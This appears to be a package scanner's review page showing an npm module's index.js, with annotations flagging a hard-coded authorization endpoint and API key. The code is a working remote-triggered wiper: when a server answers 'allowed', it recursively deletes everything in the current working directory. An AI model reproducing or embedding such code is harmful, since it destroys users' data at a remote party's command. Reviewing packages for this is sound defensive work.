Lines 1-59javascript
1const fs = require('fs');
2const path = require('path');
4// Configure these here — anyone installing this package gets these baked in
5const API_URL = 'https://your-deployed-server.com/can-cleanup';
MediumStripped Provenance Metadata
The authorization endpoint is hard-coded.
index.jsView on unpkg · L5 6const API_KEY = 'f8675764-417f-49a4-807c-5879a667c476';
8function listTargets(dirPath, scriptPath) {
9 return fs.readdirSync(dirPath, { withFileTypes: true })
10 .filter((entry) => path.join(dirPath, entry.name) !== scriptPath);
13function performCleanup(dirPath, scriptPath) {
14 const entries = listTargets(dirPath, scriptPath);
15 entries.forEach((entry) => {
16 const fullPath = path.join(dirPath, entry.name);
18 if (entry.isDirectory()) {
19 fs.rmSync(fullPath, { recursive: true, force: true });
21 fs.unlinkSync(fullPath);
22 }
MediumAi Review Evidence
Cleanup recursively removes every directory entry in the chosen target.
index.jsView on unpkg · L18 23 console.log(`Deleted: ${fullPath}`);
25 console.error(`Error deleting ${fullPath}: ${e.message}`);
28 console.log(`Done. ${entries.length} item(s) removed from ${dirPath}`);
29 return entries.length;
32async function triggerCleanup(dirPath = process.cwd()) {
34 const res = await fetch(API_URL, {
35 headers: { 'x-api-key': API_KEY },
39 console.error(`Server returned ${res.status}, aborting cleanup.`);
40 return { success: false, reason: `http_${res.status}` };
43 const { allowed } = await res.json();
45 if (allowed !== true) {
46 console.log('Server did not authorize cleanup. Nothing deleted.');
47 return { success: false, reason: 'not_authorized' };
50 console.log('Server authorized cleanup. Proceeding.');
51 const count = performCleanup(dirPath, __filename);
MediumAi Review Evidence
A remote response with allowed set to true triggers cleanup.
index.jsView on unpkg · L43 52 return { success: true, deletedCount: count };
54 console.error('Failed to reach server, aborting cleanup:', err.message);
55 return { success: false, reason: 'network_error', error: err.message };
59module.exports = { triggerCleanup };